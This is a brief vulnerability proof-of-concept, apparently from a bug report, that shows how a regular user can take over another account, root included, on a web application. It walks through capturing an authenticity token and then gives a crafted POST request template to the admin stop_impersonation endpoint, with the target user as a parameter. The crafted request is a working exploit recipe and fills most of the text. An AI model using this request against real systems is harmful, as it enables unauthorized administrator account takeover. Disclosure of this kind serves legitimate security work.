Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).

Craft request using this as template:
 
POST /admin/users/stop_impersonation?id=root
. . .

_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D

Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.
